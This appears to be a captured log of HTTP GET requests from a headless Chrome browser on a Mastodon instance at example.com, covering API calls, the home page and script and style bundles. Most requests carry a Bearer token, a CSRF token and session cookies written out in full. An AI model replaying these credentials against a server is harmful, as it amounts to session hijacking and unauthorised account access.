{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuNTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ab37d5619a5b365ffcf114d7fcf24bac7902a1c0; _mastodon_session=GcqZiRiKd6lOhH3kv7dp3NEtsId2LwZyinAl1WgQ0mv7Xi%2F4u8mHBowJByanPqe2Kbtzx%2F6d%2ByeronZc62F4meOrDbP3YHiz9GzlNe2qtzBM0IDg4IxxHzUqh6nzBJiL9%2F9Y%2FY8fHzwkUTvlzM6%2FDeHgw8vFdLmFHbRKCUIbm3Chr49lmF24ZlBEZh4P9xDGCP%2B%2Fvz4MIjy6Ac3Jf2MVwJ6f8%2FDrOyEHaDutn4kRRpAZn0Kg6vyhoZzPZ7%2FphQXMDzCM5Y4Dhl9bCyCSXMaQjIHdXKw3KWuXriMcNGS92ahwOUXsO6ek%2B5nmYqs0imHxl1T14Ty%2Fnd8X3tnUBNSmeG%2FaZ5F7qn3Bu4%2BP4tehImlPNnJN6DzAUcpGFqHwvNZQl041qKzQ5QPr--0ABW2%2BRbHzqehg9r--VOa3dvcmH%2F3BScLpYtOSTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/defineProperty-BbfpZ9Tg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NHDhXMNPICM75H9ZB31b4JxRUxjBICoeH%2BKY0s0UBv5WPDr3pI5gDCua4%2B3qJWciKD%2Br1Hu2SNWrz5YR%2B72ea1QswBF6qnwGSg2DzJTssFaZCl3TFqizNszNtpPEES%2FIL9AP18JPY2joU8c4zP1k3KowWQbcXrzI1iRpn%2FSgGV0Z%2F%2FNZb9RnO0SWiXQy3dniX9tUbqEjPlSUqoJJPO9aLnMJXt22TDXGzPJ6eVYgERrtf%2FCiOQ1Zb%2FRSKF8eRBIIiJTwrFOW%2Bg%2Bd2sqW9YnV%2BwtKG6dRgImnig%3D%3D--N5aZsJPeWFwHpIgE--MthrYh5EWJDXUWZ7cLXnaw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/time-DvUjGWVP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/copy_button-Cvmgdf-k.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTguNTM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6e66f1fdb98e5f6300a1ec7cafb829c3bbc13cf6; _mastodon_session=XOts8Os87077Dh7Jz%2B8mPUA6%2Bm8sPyBDVVkFFF1RF9xJ1SWscyMLpoeQdlW%2FyzS9XdsA5HFtMYOSEGu5Ia%2FoWnoIQf1WTrXABbRIni3%2F2twUW%2Fso68KluirGxYC6wJgtEa82GJU3K9gcTs6knfdWiqU8jthBlLD65I6DOjWa50Z%2FA8sHj5KhV9H0ytV0%2BJnCO5BNBQbrZwbOTc%2FYlXNQ%2F%2BOhrBzGLexUGO483Sj3xjZ0Ipm8jczET17r6DFlyLXFERT88DDV0UssqYxkONUWuTped2mhMqZbSgyS%2F%2FXZF7B44c8c8XRAoMo0Kv8bcA7N4LYady3JlJlOWs7xvNArXguo71Bi8rAICYPmElCyi1Pedb%2Fbj2BpBgcQRVav8cPBdeUDsVHR%2Fkp1--TdRB5p6BZ4BWFtmB--tCyX7W8EPW7l1rtdB06L0Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/bundle_column_error-TCkCl549.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/onboarding-BlDKxj5Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/volume_off-D61wX6FU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/home_timeline-BoubaQqh.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
